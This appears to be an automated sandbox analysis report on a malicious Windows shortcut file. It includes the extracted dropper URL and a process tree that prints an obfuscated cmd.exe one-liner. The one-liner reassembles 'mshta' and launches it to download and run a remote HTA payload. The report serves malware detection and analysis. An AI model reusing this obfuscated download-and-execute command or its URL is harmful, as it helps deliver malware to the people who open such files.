Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:40

General

  • Target
    DOC-NDATK5.lnk
  • Size 2KB
  • Sample260804-kk16vsgc33
  • SHA256 d4be6278e8765aa2af2fe9d1aebf04ca28513e7e41479b6d402c7b5ab7d1813d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NDATK5.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3780
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/c"set dzePy=tmpsnubcatmp&set af=datlrepsnoedat&set nA=netuyfmsatnet&set lrDIe=sysoblkjihynvrsys&set eNIL=winkxxiuqtwin&set kMJwS=wintrmvlehfhpkvbvekhtetpdwin&set rXzM=ejstae&&set jNCyv=a2jrwh&&set eqO=ctq&set AkB=oldfckelqbold&set kcFF=logosdxvlstnvwoormrqlog&set Rh=cfgzioptbxmcgvtuxsndcfg&set tUKVc=neteiadutaikmmnet&set dSZ=datigdkajhodat&set tQeDr=emsh9tz&&set QwP=8k0tt&&set Si=xaryi&&set GVRsu=http@s:/@/ma-@pdffi@[email protected]@at@/h@/es@tagio@[email protected]@hp?r@=3@9146@9FB5D82@DB&&start /b !tQeDr:~1,3!!QwP:~3,1!!Si:~1,1! !GVRsu:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3176

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads